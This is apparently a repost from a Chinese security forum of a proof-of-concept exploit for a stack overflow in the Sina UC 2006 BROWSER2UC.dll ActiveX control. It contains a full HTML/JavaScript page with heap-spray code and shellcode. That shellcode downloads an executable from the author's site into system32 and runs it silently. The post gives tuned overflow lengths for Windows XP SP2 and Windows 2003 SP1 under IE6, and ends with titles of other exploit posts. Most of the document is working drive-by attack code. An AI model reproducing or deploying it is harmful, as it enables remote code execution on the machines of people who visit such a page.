|
[推荐]新浪UC 2006 BROWSER2UC.dll溢出演示代码
作者:云舒
原帖:http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=36179
今天和LuoLuo测试了下，写成了这个测试代码。网页会下载我blog的http://icylife.net/1.exe，这个是记事本，下载到system32保存为~.exe并后台运行。生成器晚上再写哈，朕饿了。 这个我们测试了 <!-- Windows2003 standard SP1 ＋ IE6 此处覆盖长度i为3193 --> <!-- Windows XP SP2 + IE6 此处覆盖长度i为3133 --> 不过IE7还不能利用，晚上再加通过JS判断系统类型的部分，这样就不用修改i的值了，现在针对系统需要修改。
view plaincopy to clipboardprint?
<!--
1. clsid:77AE4780-75E0-4CB0-A162-D1BBE3D50384
C:Program FilessinaUCActiveXBROWSER2UC.dll
Sub SendChatRoomOpt (
ByVal astrVerion As String ,
ByVal astrUserID As String ,
ByVal asDataType As Integer ,
ByVal alTypeID As Long
)
Code By 云舒 & LuoLuo
! -->
<html>
<head>
<script language="javascript">
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape("%u9090"+"%u9090"+
"%u6460%u30a1%u0000%u8b00%u0c40%u708b%uad1c%u708b" +
"%u8108%u00ec%u0004%u8b00%u56ec%u8e68%u0e4e%ue8ec" +
"%u00ff%u0000%u4589%u5604%u9868%u8afe%ue80e%u00f1" +
"%u0000%u4589%u5608%u2568%uffb0%ue8c2%u00e3%u0000" +
"%u4589%u560c%uef68%ue0ce%ue860%u00d5%u0000%u4589" +
"%u5610%uc168%ue579%ue8b8%u00c7%u0000%u4589%u4014" +
"%u3880%u75c3%u89fa%u1845%u08e9%u0001%u5e00%u7589" +
"%u8b24%u0445%u016a%u8b59%u1855%ue856%u008c%u0000" +
"%u6850%u1a36%u702f%u98e8%u0000%u8900%u1c45%uc58b" +
"%uc083%u8950%u2045%uff68%u0000%u5000%u458b%u6a14" +
"%u5902%u558b%ue818%u0062%u0000%u4503%uc720%u5c00" +
"%u2e7e%uc765%u0440%u6578%u0000%u75ff%u8b20%u0c45" +
"%u016a%u8b59%u1855%u41e8%u0000%u6a00%u5807%u4503" +
"%u3324%u53db%uff53%u2075%u5350%u458b%u6a1c%u5905" +
"%u558b%ue818%u0024%u0000%u006a%u75ff%u8b20%u0845" +
"%u026a%u8b59%u1855%u11e8%u0000%u8100%u00c4%u0004" +
"%u6100%uc481%u04dc%u0000%uc25d%u0024%u5b41%u0352" +
"%u03e1%u03e1%u03e1%u83e1%u04ec%u535a%uda8b%uf7e2" +
"%uff52%u55e0%uec8b%u7d8b%u8b08%u0c5d%u8b56%u3c73" +
"%u748b%u781e%uf303%u8b56%u2076%uf303%uc933%u4149" +
"%u03ad%u56c3%uf633%ube0f%u3a10%u74f2%uc108%u0dce" +
"%uf203%ueb40%u3bf1%u5efe%ue575%u8b5a%u8beb%u245a" +
"%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04%uc503" +
"%u5d5e%u08c2%ue800%ufef3%uffff%u5255%u4d4c%u4e4f" +
"%u6800%u7474%u3a70%u2f2f%u6369%u6c79%u6669%u2e65" +
"%u656e%u2f74%u2e31%u7865%u0065");
var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlidespraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
var obj = new ActiveXObject("BROWSER2UC.BROWSERToUC");
var arg1;
<!-- Windows2003 standard SP1 ＋ IE6 此处覆盖长度i为3193 -->
<!-- Windows XP SP2 + IE6 此处覆盖长度i为3133 -->
for( var i = 0; i < 3133; i ++ )
{
arg1 += "A";
}
arg1arg1=arg1 + unescape("%0c%0c%0c%0c");
arg2="defaultV";
arg3=1;
arg4=1;
obj.SendChatRoomOpt(arg1 ,arg2 ,arg3 ,arg4);
</script>
</head>
</html>
| 新云CMS Online.asp页面过滤不严 | 02-26 |
| 对网软网上购物系统的漏洞分析 | 01-09 |
| 测试SQL防注入脚本 | 12-21 |
| Google Xss又出跨站新漏洞 | 11-06 |
| 一次简单的html injection导致的 | 11-06 |
| 风讯、科讯漏洞利用 | 11-01 |
| Adobe pdf reader URI利用方式浅 | 10-23 |
| 超星阅览器的最新0DAY | 10-19 |
| 运用SQL Injection做数据库渗透的 | 09-22 |
| sa-blog 0day | 09-22 |
| HTML注入的一些简单想法 | 09-10 |
| 网站登陆接口的攻与防 | 09-04 |
您现在的位置：